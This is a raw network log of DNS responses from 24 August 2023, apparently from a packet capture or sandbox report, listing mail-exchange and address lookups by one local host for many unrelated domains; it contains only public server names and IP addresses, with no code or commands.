Aug 24, 2023 19:04:13.759437084 CEST	8.8.8.8	192.168.2.8	0x4be2	No error (0)	mx-aol.mail.gm0.yahoodns.net		67.195.204.75	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.759437084 CEST	8.8.8.8	192.168.2.8	0x4be2	No error (0)	mx-aol.mail.gm0.yahoodns.net		98.136.96.92	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.859349012 CEST	8.8.8.8	192.168.2.8	0xcda9	No error (0)	dalimar.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.859349012 CEST	8.8.8.8	192.168.2.8	0xcda9	No error (0)	dalimar.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:13.867902994 CEST	8.8.8.8	192.168.2.8	0xea0c	No error (0)	mxa-00596a01.gslb.pphosted.com		205.220.170.48	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.885106087 CEST	8.8.8.8	192.168.2.8	0xe837	No error (0)	mx1.pcb.iphmx.com		68.232.130.15	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:13.885106087 CEST	8.8.8.8	192.168.2.8	0xe837	No error (0)	mx1.pcb.iphmx.com		68.232.137.159	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.028954029 CEST	8.8.8.8	192.168.2.8	0x73f6	No error (0)	bctransit.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:14.028954029 CEST	8.8.8.8	192.168.2.8	0x73f6	No error (0)	bctransit.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:14.028954029 CEST	8.8.8.8	192.168.2.8	0x73f6	No error (0)	bctransit.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:14.028954029 CEST	8.8.8.8	192.168.2.8	0x73f6	No error (0)	bctransit.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:14.068119049 CEST	8.8.8.8	192.168.2.8	0xcd26	No error (0)	primary.us.email.fireeyecloud.com		3.93.93.44	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.068119049 CEST	8.8.8.8	192.168.2.8	0xcd26	No error (0)	primary.us.email.fireeyecloud.com		34.223.36.125	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.068119049 CEST	8.8.8.8	192.168.2.8	0xcd26	No error (0)	primary.us.email.fireeyecloud.com		34.223.36.126	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.068119049 CEST	8.8.8.8	192.168.2.8	0xcd26	No error (0)	primary.us.email.fireeyecloud.com		34.223.36.124	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.068119049 CEST	8.8.8.8	192.168.2.8	0xcd26	No error (0)	primary.us.email.fireeyecloud.com		3.93.93.43	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.068119049 CEST	8.8.8.8	192.168.2.8	0xcd26	No error (0)	primary.us.email.fireeyecloud.com		3.93.93.45	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.236139059 CEST	8.8.8.8	192.168.2.8	0xc69f	No error (0)	activenetwork.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:14.236139059 CEST	8.8.8.8	192.168.2.8	0xc69f	No error (0)	activenetwork.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:14.311335087 CEST	8.8.8.8	192.168.2.8	0x2af7	No error (0)	shaw-associates.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:14.351185083 CEST	8.8.8.8	192.168.2.8	0xffac	No error (0)	shawassociates-com01b.mail.protection.outlook.com		52.101.11.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.351185083 CEST	8.8.8.8	192.168.2.8	0xffac	No error (0)	shawassociates-com01b.mail.protection.outlook.com		52.101.40.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.351185083 CEST	8.8.8.8	192.168.2.8	0xffac	No error (0)	shawassociates-com01b.mail.protection.outlook.com		52.101.40.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.351185083 CEST	8.8.8.8	192.168.2.8	0xffac	No error (0)	shawassociates-com01b.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.351185083 CEST	8.8.8.8	192.168.2.8	0xffac	No error (0)	shawassociates-com01b.mail.protection.outlook.com		52.101.42.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.351185083 CEST	8.8.8.8	192.168.2.8	0xffac	No error (0)	shawassociates-com01b.mail.protection.outlook.com		52.101.42.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.368393898 CEST	8.8.8.8	192.168.2.8	0x5f3f	No error (0)	mxb-000e8b02.gslb.pphosted.com		148.163.148.188	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.589687109 CEST	8.8.8.8	192.168.2.8	0xe368	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.11.97	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.589687109 CEST	8.8.8.8	192.168.2.8	0xe368	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.11.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.717425108 CEST	8.8.8.8	192.168.2.8	0x34c0	No error (0)	bell.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:14.785634995 CEST	8.8.8.8	192.168.2.8	0xcde2	No error (0)	apbcorp.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:14.842789888 CEST	8.8.8.8	192.168.2.8	0x553a	No error (0)	mx.bell.net		209.71.208.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.847325087 CEST	8.8.8.8	192.168.2.8	0x8ad7	No error (0)	apbcorp-com.mail.protection.outlook.com		104.47.73.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:14.847325087 CEST	8.8.8.8	192.168.2.8	0x8ad7	No error (0)	apbcorp-com.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.030963898 CEST	8.8.8.8	192.168.2.8	0x15d9	No error (0)	sd63.bc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.030963898 CEST	8.8.8.8	192.168.2.8	0x15d9	No error (0)	sd63.bc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.132293940 CEST	8.8.8.8	192.168.2.8	0x77dd	No error (0)	mymts.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.168715954 CEST	8.8.8.8	192.168.2.8	0x6f5d	No error (0)	mxa-0026cd01.gslb.pphosted.com		67.231.158.196	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.183073044 CEST	8.8.8.8	192.168.2.8	0x776e	No error (0)	ameritech.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.183073044 CEST	8.8.8.8	192.168.2.8	0x776e	No error (0)	ameritech.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.183073044 CEST	8.8.8.8	192.168.2.8	0x776e	No error (0)	ameritech.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.183073044 CEST	8.8.8.8	192.168.2.8	0x776e	No error (0)	ameritech.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.291369915 CEST	8.8.8.8	192.168.2.8	0x5f6f	No error (0)	duchesnay.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.325692892 CEST	8.8.8.8	192.168.2.8	0x79ec	No error (0)	mx02.duchesnay.com		173.231.115.178	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.360594034 CEST	8.8.8.8	192.168.2.8	0xe748	No error (0)	dal.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.405560017 CEST	8.8.8.8	192.168.2.8	0x3c9c	No error (0)	dal-ca.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.405560017 CEST	8.8.8.8	192.168.2.8	0x3c9c	No error (0)	dal-ca.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.468791008 CEST	8.8.8.8	192.168.2.8	0x6f5b	No error (0)	mastermindtoys.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.468791008 CEST	8.8.8.8	192.168.2.8	0x6f5b	No error (0)	mastermindtoys.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.637556076 CEST	8.8.8.8	192.168.2.8	0xb76d	No error (0)	hotmail.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.669666052 CEST	8.8.8.8	192.168.2.8	0x7ee7	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.13.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.669666052 CEST	8.8.8.8	192.168.2.8	0x7ee7	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.14.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.685590982 CEST	8.8.8.8	192.168.2.8	0x5bbd	No error (0)	swbell.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.685590982 CEST	8.8.8.8	192.168.2.8	0x5bbd	No error (0)	swbell.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.685590982 CEST	8.8.8.8	192.168.2.8	0x5bbd	No error (0)	swbell.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.685590982 CEST	8.8.8.8	192.168.2.8	0x5bbd	No error (0)	swbell.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.714739084 CEST	8.8.8.8	192.168.2.8	0x9c95	No error (0)	ff-ip4-mx-vip1.prodigy.net		144.160.159.21	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.871979952 CEST	8.8.8.8	192.168.2.8	0xd129	No error (0)	cegep-ste-foy.qc.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.917684078 CEST	8.8.8.8	192.168.2.8	0xe7bc	No error (0)	cegepstefoy-qc-ca01cc.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.917684078 CEST	8.8.8.8	192.168.2.8	0xe7bc	No error (0)	cegepstefoy-qc-ca01cc.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:15.988785982 CEST	8.8.8.8	192.168.2.8	0xaf23	No error (0)	surewest.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.988785982 CEST	8.8.8.8	192.168.2.8	0xaf23	No error (0)	surewest.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.988785982 CEST	8.8.8.8	192.168.2.8	0xaf23	No error (0)	surewest.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:15.988785982 CEST	8.8.8.8	192.168.2.8	0xaf23	No error (0)	surewest.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.025607109 CEST	8.8.8.8	192.168.2.8	0xf58	No error (0)	wightman.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.025607109 CEST	8.8.8.8	192.168.2.8	0xf58	No error (0)	wightman.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.064037085 CEST	8.8.8.8	192.168.2.8	0x529f	No error (0)	aarons.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.127175093 CEST	8.8.8.8	192.168.2.8	0x8a10	No error (0)	aarons-com.mail.protection.outlook.com		104.47.55.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.127175093 CEST	8.8.8.8	192.168.2.8	0x8a10	No error (0)	aarons-com.mail.protection.outlook.com		104.47.58.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.140775919 CEST	8.8.8.8	192.168.2.8	0xb84a	No error (0)	mx4c25.carrierzone.com		64.29.145.48	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.190699100 CEST	8.8.8.8	192.168.2.8	0xd1dc	No error (0)	prefix1.wightman.ca		68.69.147.32	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.262108088 CEST	8.8.8.8	192.168.2.8	0x6511	No error (0)	staffmanagement.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.262108088 CEST	8.8.8.8	192.168.2.8	0x6511	No error (0)	staffmanagement.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.341350079 CEST	8.8.8.8	192.168.2.8	0x117c	No error (0)	ofmlive.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.400377035 CEST	8.8.8.8	192.168.2.8	0x6b51	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.400377035 CEST	8.8.8.8	192.168.2.8	0x6b51	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.400377035 CEST	8.8.8.8	192.168.2.8	0x6b51	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.400377035 CEST	8.8.8.8	192.168.2.8	0x6b51	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.400377035 CEST	8.8.8.8	192.168.2.8	0x6b51	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.400377035 CEST	8.8.8.8	192.168.2.8	0x6b51	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.400377035 CEST	8.8.8.8	192.168.2.8	0x6b51	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.400377035 CEST	8.8.8.8	192.168.2.8	0x6b51	No error (0)	comcast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.432198048 CEST	8.8.8.8	192.168.2.8	0x3ab2	No error (0)	mx2a1.comcast.net		96.103.145.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.450797081 CEST	8.8.8.8	192.168.2.8	0x17a9	No error (0)	mxa-002fe901.gslb.pphosted.com		208.84.65.219	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.546370983 CEST	8.8.8.8	192.168.2.8	0xe531	No error (0)	mxb-0062aa01.gslb.pphosted.com		67.231.150.88	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.595156908 CEST	8.8.8.8	192.168.2.8	0x88b6	No error (0)	madisontelco.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.719261885 CEST	8.8.8.8	192.168.2.8	0xa265	No error (0)	mta6.am0.yahoodns.net		67.195.228.94	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.719261885 CEST	8.8.8.8	192.168.2.8	0xa265	No error (0)	mta6.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.719261885 CEST	8.8.8.8	192.168.2.8	0xa265	No error (0)	mta6.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.719261885 CEST	8.8.8.8	192.168.2.8	0xa265	No error (0)	mta6.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.719261885 CEST	8.8.8.8	192.168.2.8	0xa265	No error (0)	mta6.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.719261885 CEST	8.8.8.8	192.168.2.8	0xa265	No error (0)	mta6.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.719261885 CEST	8.8.8.8	192.168.2.8	0xa265	No error (0)	mta6.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.719261885 CEST	8.8.8.8	192.168.2.8	0xa265	No error (0)	mta6.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.782294035 CEST	8.8.8.8	192.168.2.8	0x2ea6	No error (0)	madisontelco-com.mx.av-mx.com		150.136.204.204	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.875988960 CEST	8.8.8.8	192.168.2.8	0x5fe1	No error (0)	mcleanco.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.923145056 CEST	8.8.8.8	192.168.2.8	0xfda9	No error (0)	mcleanco-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.923145056 CEST	8.8.8.8	192.168.2.8	0xfda9	No error (0)	mcleanco-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:16.936280012 CEST	8.8.8.8	192.168.2.8	0x5804	No error (0)	netzero.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:16.936280012 CEST	8.8.8.8	192.168.2.8	0x5804	No error (0)	netzero.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.085374117 CEST	8.8.8.8	192.168.2.8	0x5120	No error (0)	aidslaw.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.085374117 CEST	8.8.8.8	192.168.2.8	0x5120	No error (0)	aidslaw.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.117583990 CEST	8.8.8.8	192.168.2.8	0xdecf	No error (0)	d401481.a.ess.ca.barracudanetworks.com		15.222.16.210	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.117583990 CEST	8.8.8.8	192.168.2.8	0xdecf	No error (0)	d401481.a.ess.ca.barracudanetworks.com		15.222.16.209	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.117583990 CEST	8.8.8.8	192.168.2.8	0xdecf	No error (0)	d401481.a.ess.ca.barracudanetworks.com		15.222.16.211	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.299700022 CEST	8.8.8.8	192.168.2.8	0x25c2	No error (0)	jostens.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.299700022 CEST	8.8.8.8	192.168.2.8	0x25c2	No error (0)	jostens.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.433384895 CEST	8.8.8.8	192.168.2.8	0xa855	No error (0)	mx.bellaliant.net	mx-aliant.bell.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 24, 2023 19:04:17.433384895 CEST	8.8.8.8	192.168.2.8	0xa855	No error (0)	mx-aliant.bell.net		209.71.208.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.569504023 CEST	8.8.8.8	192.168.2.8	0x163d	No error (0)	pshrc.med.sa			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.569504023 CEST	8.8.8.8	192.168.2.8	0x163d	No error (0)	pshrc.med.sa			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.686669111 CEST	8.8.8.8	192.168.2.8	0xd4f2	No error (0)	calgary.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.686669111 CEST	8.8.8.8	192.168.2.8	0xd4f2	No error (0)	calgary.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.753262997 CEST	8.8.8.8	192.168.2.8	0xd02e	No error (0)	nninc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.774661064 CEST	8.8.8.8	192.168.2.8	0xc194	No error (0)	pilotflyingj.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.774661064 CEST	8.8.8.8	192.168.2.8	0xc194	No error (0)	pilotflyingj.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.791238070 CEST	8.8.8.8	192.168.2.8	0xb2aa	No error (0)	nninc-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.791238070 CEST	8.8.8.8	192.168.2.8	0xb2aa	No error (0)	nninc-com.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.828638077 CEST	8.8.8.8	192.168.2.8	0x8e3c	No error (0)	mxa-001de601.gslb.pphosted.com		67.231.159.34	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.883032084 CEST	8.8.8.8	192.168.2.8	0x9e81	No error (0)	birchwood.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.927691936 CEST	8.8.8.8	192.168.2.8	0xff40	No error (0)	bagfortimail.autogroup.birchwood.mb.ca		64.4.68.190	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.927691936 CEST	8.8.8.8	192.168.2.8	0xff40	No error (0)	bagfortimail.autogroup.birchwood.mb.ca		208.118.112.184	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.937037945 CEST	8.8.8.8	192.168.2.8	0xbba5	No error (0)	lexrich5.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.937037945 CEST	8.8.8.8	192.168.2.8	0xbba5	No error (0)	lexrich5.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.937037945 CEST	8.8.8.8	192.168.2.8	0xbba5	No error (0)	lexrich5.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.937037945 CEST	8.8.8.8	192.168.2.8	0xbba5	No error (0)	lexrich5.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.937037945 CEST	8.8.8.8	192.168.2.8	0xbba5	No error (0)	lexrich5.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.949960947 CEST	8.8.8.8	192.168.2.8	0xa321	No error (0)	multimatic.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.949960947 CEST	8.8.8.8	192.168.2.8	0xa321	No error (0)	multimatic.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:17.959706068 CEST	8.8.8.8	192.168.2.8	0xd366	No error (0)	mailer.pshrc.med.sa		213.230.19.140	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:17.963682890 CEST	8.8.8.8	192.168.2.8	0xa50a	No error (0)	mxa-001aec01.gslb.pphosted.com		148.163.158.245	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.058470964 CEST	8.8.8.8	192.168.2.8	0x51fe	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.56.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.058470964 CEST	8.8.8.8	192.168.2.8	0x51fe	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.57.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.089359999 CEST	8.8.8.8	192.168.2.8	0x6577	No error (0)	mxb-0057d101.gslb.pphosted.com		205.220.164.233	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.147502899 CEST	8.8.8.8	192.168.2.8	0x6110	No error (0)	linkedin.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.147502899 CEST	8.8.8.8	192.168.2.8	0x6110	No error (0)	linkedin.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.147502899 CEST	8.8.8.8	192.168.2.8	0x6110	No error (0)	linkedin.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.147502899 CEST	8.8.8.8	192.168.2.8	0x6110	No error (0)	linkedin.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.163666010 CEST	8.8.8.8	192.168.2.8	0xda86	No error (0)	mail-a.linkedin.com		108.174.0.215	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.191234112 CEST	8.8.8.8	192.168.2.8	0xbb1	No error (0)	occupant.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.265280008 CEST	8.8.8.8	192.168.2.8	0x7015	No error (0)	manuelarregui.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.332381010 CEST	8.8.8.8	192.168.2.8	0x6500	No error (0)	mail.manuelarregui.com		82.98.155.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.343679905 CEST	8.8.8.8	192.168.2.8	0x9629	No error (0)	nai-online.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.343679905 CEST	8.8.8.8	192.168.2.8	0x9629	No error (0)	nai-online.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.439790964 CEST	8.8.8.8	192.168.2.8	0x2f0a	No error (0)	hmel.in			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.439790964 CEST	8.8.8.8	192.168.2.8	0x2f0a	No error (0)	hmel.in			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.491087914 CEST	8.8.8.8	192.168.2.8	0x6bcb	No error (0)	mx1.hc1107-31.ap.iphmx.com		207.54.75.56	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.491087914 CEST	8.8.8.8	192.168.2.8	0x6bcb	No error (0)	mx1.hc1107-31.ap.iphmx.com		207.54.83.12	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.520555973 CEST	8.8.8.8	192.168.2.8	0x2570	No error (0)	126.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.520555973 CEST	8.8.8.8	192.168.2.8	0x2570	No error (0)	126.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.520555973 CEST	8.8.8.8	192.168.2.8	0x2570	No error (0)	126.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.520555973 CEST	8.8.8.8	192.168.2.8	0x2570	No error (0)	126.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.700104952 CEST	8.8.8.8	192.168.2.8	0x9737	No error (0)	mninter.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.700104952 CEST	8.8.8.8	192.168.2.8	0x9737	No error (0)	mninter.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.700104952 CEST	8.8.8.8	192.168.2.8	0x9737	No error (0)	mninter.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:18.716743946 CEST	8.8.8.8	192.168.2.8	0xd98d	No error (0)	126mx01.mxmail.netease.com		103.129.252.84	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.820667028 CEST	8.8.8.8	192.168.2.8	0x4d3a	No error (0)	mx2.usgo.net		64.131.63.184	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:18.966532946 CEST	8.8.8.8	192.168.2.8	0xba48	No error (0)	vertica.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.031502962 CEST	8.8.8.8	192.168.2.8	0x35c	No error (0)	vertica.ca		176.123.0.55	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:19.136667013 CEST	8.8.8.8	192.168.2.8	0xd8a2	No error (0)	rsu29.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.136667013 CEST	8.8.8.8	192.168.2.8	0xd8a2	No error (0)	rsu29.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.136667013 CEST	8.8.8.8	192.168.2.8	0xd8a2	No error (0)	rsu29.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.136667013 CEST	8.8.8.8	192.168.2.8	0xd8a2	No error (0)	rsu29.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.136667013 CEST	8.8.8.8	192.168.2.8	0xd8a2	No error (0)	rsu29.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.186852932 CEST	8.8.8.8	192.168.2.8	0x7076	No error (0)	360-image.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.297820091 CEST	8.8.8.8	192.168.2.8	0x21b5	No error (0)	travelers.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.297820091 CEST	8.8.8.8	192.168.2.8	0x21b5	No error (0)	travelers.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.398052931 CEST	8.8.8.8	192.168.2.8	0x86c1	No error (0)	360-image.com		64.34.156.171	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:19.476169109 CEST	8.8.8.8	192.168.2.8	0x2d48	No error (0)	mxb-00539404.gslb.pphosted.com		205.220.178.16	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:19.790391922 CEST	8.8.8.8	192.168.2.8	0x1312	No error (0)	faithgroupllc.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:19.799266100 CEST	8.8.8.8	192.168.2.8	0x5dd3	No error (0)	live-com.olc.protection.outlook.com		104.47.51.161	A (IP address)	IN (0x0001)	false
